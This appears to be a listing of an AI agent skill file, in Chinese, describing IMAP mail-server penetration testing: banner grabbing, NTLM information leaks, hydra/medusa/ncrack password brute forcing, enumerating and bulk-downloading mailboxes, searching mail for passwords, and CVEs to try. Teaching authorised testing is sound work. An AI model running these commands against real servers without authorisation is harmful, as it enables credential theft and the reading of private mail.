skills/exploit/network-service/imap-pentesting/SKILL.md
IMAP 邮件服务(143/993 端口)渗透测试方法论。涵盖 IMAP 服务发现、Banner 信息提取、凭据爆破、邮箱枚举与邮件下载、IMAP 命令注入、已知漏洞利用。 当 Agent 扫描发现 143 或 993 端口开放、需要测试 IMAP 认证强度、枚举邮箱内容、或利用 IMAP 服务漏洞时,触发此 Skill。
npx skillsauth add wgpsec/AboutSecurity imap-pentestingInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
发现 143/993 端口开放
├─ Phase 1: 服务发现
│ ├─ Banner 抓取 -> 识别邮件服务与版本
│ ├─ 143 (明文) vs 993 (SSL/TLS)
│ └─ Nmap 脚本 -> 能力枚举 / NTLM 信息
├─ Phase 2: Banner 信息分析
│ ├─ 邮件服务器类型 (Dovecot / Exchange / Cyrus / Zimbra)
│ ├─ NTLM 信息泄露 (Exchange) -> Windows 版本、域名
│ └─ CAPABILITY 命令 -> 支持的功能
├─ Phase 3: 凭据爆破
│ ├─ hydra / medusa / ncrack
│ ├─ Metasploit imap_version
│ └─ 默认凭据 / 弱密码
├─ Phase 4: 邮箱枚举与邮件下载
│ ├─ LIST "" * -> 列出所有邮箱文件夹
│ ├─ SELECT INBOX -> 选中收件箱
│ ├─ SEARCH ALL -> 列出所有邮件
│ ├─ FETCH -> 下载邮件内容
│ └─ SEARCH TEXT "password" -> 关键词搜索
└─ Phase 5: 已知漏洞
├─ 服务器特定 CVE
├─ IMAP 命令注入
└─ searchsploit <imap_server> <version>
# 明文 IMAP (143)
nc -nv <IP> 143
# SSL/TLS IMAP (993)
openssl s_client -connect <IP>:993 -quiet
# IMAP NTLM 信息泄露
nmap --script imap-ntlm-info -p 143 <IP>
# IMAP 能力枚举
nmap --script imap-capabilities -p 143 <IP>
msfconsole -q -x 'use auxiliary/scanner/imap/imap_version; set RHOSTS <IP>; set RPORT 143; run; exit'
如果服务器支持 NTLM 认证,可提取 Windows 版本等信息:
# Telnet 交互
telnet <IP> 143
* OK The Microsoft Exchange IMAP4 service is ready.
>> a1 AUTHENTICATE NTLM
+
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
# 服务器返回 NTLMSSP_CHALLENGE (含 OS 版本、域信息)
Banner 分析
├─ Microsoft Exchange
│ ├─ NTLM 信息泄露 -> 版本、域名、主机名
│ └─ 可能存在 ProxyLogon / ProxyShell 等漏洞 (通过 HTTP)
├─ Dovecot
│ └─ 检查版本特定 CVE
├─ Cyrus IMAP
│ └─ 检查版本特定 CVE
├─ Zimbra
│ └─ 检查 Web 接口相关 CVE
└─ CAPABILITY 结果
├─ STARTTLS -> 可升级加密
├─ AUTH=PLAIN -> 明文认证
└─ AUTH=NTLM -> Windows 域环境
# hydra — IMAP 明文
hydra -l <username> -P <password_list> -f <IP> imap -V
# hydra — IMAPS (SSL)
hydra -l <username> -P <password_list> -f <IP> -s 993 imaps -V
# medusa
medusa -h <IP> -u <username> -P <password_list> -M imap
# ncrack
ncrack -p 143 --user <username> -P <password_list> <IP>
# 登录
a1 LOGIN username password
# 列出所有邮箱/文件夹
a1 LIST "" *
a1 LIST INBOX *
# 选中邮箱
a1 SELECT INBOX
# 查看邮箱状态
a1 STATUS INBOX (MESSAGES UNSEEN RECENT)
# 搜索所有邮件
a1 SEARCH ALL
# 关键词搜索
a1 SEARCH TEXT "password"
a1 SEARCH SUBJECT "vpn"
a1 SEARCH FROM "admin"
# 获取邮件标志
a1 FETCH 1:* (FLAGS)
# 下载邮件全文
a1 FETCH <msg_id> body[text]
a1 FETCH <msg_id> all
a1 UID FETCH <uid> (UID RFC822.SIZE BODY.PEEK[])
# 关闭邮箱
a1 CLOSE
# 退出
a1 LOGOUT
# 列出所有邮箱
curl -k 'imaps://<IP>/' --user user:pass
# 列出 INBOX 中的邮件
curl -k 'imaps://<IP>/INBOX?ALL' --user user:pass
# 关键词搜索
curl -k 'imaps://<IP>/Drafts?TEXT password' --user user:pass
# 下载指定邮件
curl -k 'imaps://<IP>/INBOX;MAILINDEX=1' --user user:pass
# UID 操作
curl -k 'imaps://<IP>/INBOX' -X 'UID SEARCH ALL' --user user:pass
curl -k 'imaps://<IP>/INBOX;UID=1' --user user:pass
# 批量获取邮件头
curl -k 'imaps://<IP>/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<'
邮件提取后关注内容
├─ 凭据信息
│ ├─ 密码重置邮件
│ ├─ 系统通知 (新账户创建)
│ └─ VPN / SSH / RDP 配置
├─ 内部网络信息
│ ├─ 内网 IP / URL
│ ├─ 系统架构文档
│ └─ 运维通知
├─ 附件
│ ├─ 配置文件
│ ├─ 文档 (Word/Excel/PDF)
│ └─ 压缩包
├─ 草稿箱
│ └─ 可能包含未发送的敏感信息
└─ 社会工程素材
└─ 邮件模板 / 签名 -> 钓鱼攻击参考
# 循环下载前 N 封邮件
for m in {1..20}; do
echo "--- Message $m ---"
curl -k "imap://<IP>/INBOX;MAILINDEX=$m;SECTION=HEADER.FIELDS%20(SUBJECT%20FROM)" --user user:pass
done
IMAP 服务版本已知
├─ Dovecot
│ ├─ CVE-2019-11500 (堆溢出)
│ └─ searchsploit dovecot
├─ Cyrus IMAP
│ ├─ CVE-2019-18928 (认证绕过)
│ └─ searchsploit cyrus imap
├─ Microsoft Exchange
│ ├─ ProxyLogon (CVE-2021-26855)
│ ├─ ProxyShell (CVE-2021-34473)
│ └─ 通过 HTTP/HTTPS 接口利用
├─ Zimbra
│ ├─ CVE-2022-27925 (RCE)
│ └─ CVE-2022-37042 (认证绕过 + RCE)
└─ 通用
└─ searchsploit imap
如需更直观操作邮件内容:
# Evolution 邮件客户端 (Linux)
apt install evolution
# 添加 IMAP 账户配置后可浏览完整邮箱
port:143 CAPABILITY
port:993 CAPABILITY
testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能